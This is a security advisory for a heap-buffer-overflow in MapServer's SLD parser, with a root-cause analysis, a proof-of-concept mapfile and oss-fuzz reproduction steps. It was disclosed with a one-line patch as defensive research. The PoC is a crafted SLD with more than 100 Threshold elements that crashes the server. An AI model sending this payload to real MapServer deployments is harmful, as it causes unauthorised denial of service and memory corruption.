Summary
A heap-buffer-overflow write in MapServer’s SLD (Styled Layer Descriptor) parser lets a remote, unauthenticated attacker crash the MapServer process by sending a crafted SLD with more than 100 Threshold elements inside a ColorMap/
Categorize structure (commonly reachable via WMS GetMap with SLD_BODY).
Details
MapServer’s SLD parser in msSLDParseRasterSymbolizer (src/mapogcsld.cpp, around the Categorize parsing logic) allocates papszThresholds for 100 entries (nMaxThreshold = 100) and appends one char* per element while incrementing nThresholds, but the growth check mistakenly tests nValues == nMaxThreshold (where nValues counts nodes) instead of nThresholds == nMaxThreshold; when an SLD ColorMap/Categorize contains more than 100 elements, the code keeps writing past the end of the heap-allocated pointer array (an out-of-bounds 8-byte pointer write per extra element), leading to an ASAN heap-buffer-overflow and typically a remote crash/denial-of-service when attacker-controlled SLD is parsed (for example via WMS GetMap with SLD_BODY, depending on deployment configuration).
PoC
MAP
NAME "x"
CONFIG "MS_ERRORFILE" "/tmp/evilsld.xml"
OUTPUTFORMAT
NAME "<StyledLayerDescriptor><NamedLayer><Name>x</Name><UserStyle><FeatureTypeStyle><Rule><RasterSymbolizer><ColorMap><Categorize><Value>aaaaaaaaaaaa</Value><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>"
DRIVER "AGG/PNG"
IMAGEMODE RGB
TRANSPARENT ON
END
OUTPUTFORMAT
NAME "</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold><Threshold>1</Threshold></Categorize></ColorMap></RasterSymbolizer></Rule></FeatureTypeStyle></UserStyle></NamedLayer></StyledLayerDescriptor>"
DRIVER "AGG/PNG"
IMAGEMODE RGB
TRANSPARENT ON
END
CONFIG "MS_ERRORFILE" "stderr"
LAYER
NAME "test"
TYPE POINT
STYLEITEM "sld:///tmp/evilsld.xml"
END
END
Reproduce with
export OSS_FUZZ_DIR="$HOME/src/oss-fuzz"
git clone https://github.com/google/oss-fuzz.git "$OSS_FUZZ_DIR"
cd "$OSS_FUZZ_DIR"
python3 infra/helper.py build_fuzzers --sanitizer address mapserver
python3 infra/helper.py reproduce mapserver mapfuzzer poc.bin
Fix (idea)
--- a/src/mapogcsld.cpp
+++ b/src/mapogcsld.cpp
@@ -2894,7 +2894,7 @@
} else if (strcasecmp(psNode->pszValue, "Threshold") == 0) {
papszThresholds[nThresholds] = psNode->psChild->pszValue;
nThresholds++;
- if (nValues == nMaxThreshold) {
+ if (nThresholds == nMaxThreshold) {
nMaxThreshold += 100;
papszThresholds = (char **)msSmallRealloc(
papszThresholds, sizeof(char *) * nMaxThreshold);Impact
Memory corruption (heap out-of-bounds write in a pointer array). Deployments that parse attacker-controlled SLD (commonly WMS users if SLD_BODY is accepted/enabled).
Background
Anthropic is conducting research into the use of large language models for automated vulnerability discovery in open source software. As part of that work, Anthropic used Claude to scan a set of widely used open source projects for security issues. Anthropic then engaged Trail of Bits to independently triage, manually validate, and develop patches for the findings. This issue has been reviewed and confirmed by human security researchers at Trail of Bits.